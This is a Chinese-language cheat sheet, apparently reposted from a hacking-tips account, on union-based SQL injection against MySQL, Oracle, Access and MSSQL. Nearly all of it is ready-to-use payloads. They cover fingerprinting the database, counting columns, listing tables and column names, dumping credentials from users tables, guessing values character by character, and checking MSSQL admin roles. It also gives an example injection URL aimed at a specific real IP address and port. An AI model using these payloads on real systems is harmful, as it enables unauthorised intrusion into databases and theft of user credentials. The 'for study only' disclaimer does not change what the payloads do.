失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > oracle中文字段名怎么查询_sql注入联合查询总结

oracle中文字段名怎么查询_sql注入联合查询总结

时间:2022-05-10 22:18:19

相关推荐

oracle中文字段名怎么查询_sql注入联合查询总结

点击上方蓝色字关注我们

联合查询注入利用的前提:

前提条件:页面上有显示位

联合注入的过程:

1、判断注入点

2、判断是整型还是字符型

3、判断查询列数

4、判断显示位

5、获取所有数据库名

6、获取数据库所有表名

7、获取字段名

8、获取字段中的数据

数据库判断:

1.用@@datadir查看数据库安装目录,能否判断出

2.通过各个数据库特有的数据表来判断:

mssql:and (select count(*) from sysobjects)>0 and 1=1Accese:and (select count(*) from msysobjects)>0 and 1=1mysql:and (select count(*) from information_schema.TABLES)>0 and 1=1 oracle:and (select count(*) from sys.user_tables)>0 and 1=1

终极法宝 :报错信息!!!!!!!!!!

mysql注入:

注入判断:

'"And 1=1ord(0x1)> \\/#--+-^1^0

字段数判断:

Order by 3 --

获取所有数据库名:

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

获取表名:

Union select table_name from information_schema.tables where table_schema=database() --

获取字段名

Union select column_name from information_schema.columns where table_schema=table_name -

查询数据:

union select 1,group_concat(concat_ws(char(32,58,32),first_name,password)) from users --

内置函数:

拆解数据库名:database() 用户名:user() 版本:version() 或 @@version数据库路径:@@datadir

mysql通过information_schema这个表查询相应的数据库名,表名,字段名。

oracle注入:

获取数据库所有用户:

SELECT username FROM all_users;SELECT name FROM sys.user$; -- 需要高权限

获取当前数据库用户:

SELECT user FROM dual;

字段数判断:

order by 3 --and 1=2 union select null,null,null from dual--

判断子段的数据类型:

and 1=2 union select 'null',null,null from dual-- //返回正常,则第一个字段是字符型,返回错误,为字符型

数据库信息:

and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual-- //探测数据库版本信息

查询表名:

and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual-- //查询第一个表名and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual-- //第二个表名

查询字段名:

and 1=2 union select null,(select column_name from user_tab_columns where table_name='[表名]' and rownum=1),null from dual-- //查看第一个字段名and1=2unionselectnull,(selectcolumn_namefromuser_tab_columnswheretable_name='[表名]'andrownum=1andcolumn_name<>'[第一个字段名]'),nullfromdual--//查看第二个字段名and 1=2 union select null,(select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一个字段名]' and column_name<>'[第二个字段名名]'),null from dual-- //查看第三个字段名

查数据:

and 1=2 union select id,name,pass from student where id=1-- //查看数据

wmsys.wm_concat()等同于MySQL中的group_concat(),在11gr2和12C上已经抛弃,可以用LISTAGG()替代

如果字符集不匹配:

则需要进行字符集转换:

cast('' as nvarchar2(10))

栗子:

http://59.63.200.79:8808/?id=-1%20union%20all%20select%20NULL,NULL,cast((select%20table_name%20from%20user_tables%20where%20rownum=1)%20as%20nvarchar2(10)),1%20from%20dual--%20-

注意点:

1. Oracle 在使用union 查询的跟Mysql不一样Mysql里面我用1,2,3,4就能占位,而在Oracle里面有比较严格的类型要求。也就是说你union select的要和前面的字段类型一样,我们可以用null来代替站位。

2. Oracle和mysql不一样,分页中没有limit,而是使用三层查询嵌套的方式实现分页(查询第一条数据“>=0<=1”)例如:

SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0

3. Oracle的单行注释符号是--,多行注释符号/**/

Acess数据注入:

判断字段:

order by 1 --+-

判断表:

联合查询表,回显正常即为表存在,反之为不存在。

Union select * from表名 或 表名还可以使用这种方法来猜表名,

and 0<>(select count(*) from 表名)

列名也只能靠猜,如果猜不到就只能使用偏移注入来碰运气了

and exists (select admin from admin)

and exists (select count(列名) from 表名)

爆字段内容:

爆字段内容要分两步,先猜长度,再猜内容猜长度。and (select len(admin) from admin)=5,如果正确则回显正常。

猜内容,一个一个字段的猜,和盲注一样的道理。and (select asc(mid(admin,1,1)) from admin)>95,

and (select top 1 asc(mid(列名,列数N,1)) from 表名) > x

top后的数字为该列的第N行,x为ASCII码,列数N就是在这一列中的第几个数字

asc()仍然还是转换为ascii码的函数,mid(admin,1,1)则为截取admin字段内容的第一个字符的一个字符,也就为第一个字符。

MSSQL注入:

查询当前的用户数据信息:

?id=1 having 1=1--+-

猜表名:

?id=1 and exists(select * from tablename)?id=1 and (Select Count(*) from [表名])>0

猜字段:

?id=1 and (Select Count(字段名) from 表名)>0

爆当前表中的列:

?id=1 group by admin.username having 1=1–-+-

猜字段中记录长度:

?id=1 and (select top 1 len(字段名) from 表名)>0

猜字段中的ascii值:

?id=1 and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 access?id=1 and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

查数据:

UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')

测试权限结构(mssql):

· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));–·?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));–·?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));–· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));–·?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));–·?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));–·?id=1 and 1=(SELECT IS_MEMBER(‘db_owner’));–

mssql内置函数:

· ?id=1 and (select @@version)>0获得Windows的版本号·?id=1 and user_name()=’dbo’ 判断当前系统的连接用户是不是sa·?id=1 and (select user_name())>0爆当前系统的连接用户·?id=1 and (select db_name())>0得到当前连接的数据库

为了安全请将工具放在虚拟机运行!

作者不易!请点一下关注在走吧!

此文章仅供学习参考,不得用于违法犯罪!

转载此文章,请标明出处。

关注此公众号,各种福利领不停,每天一个hacker小技巧轻轻松松学习hacker技术!

扫码领hacker资料,常用工具,以及各种福利

如果觉得《oracle中文字段名怎么查询_sql注入联合查询总结》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。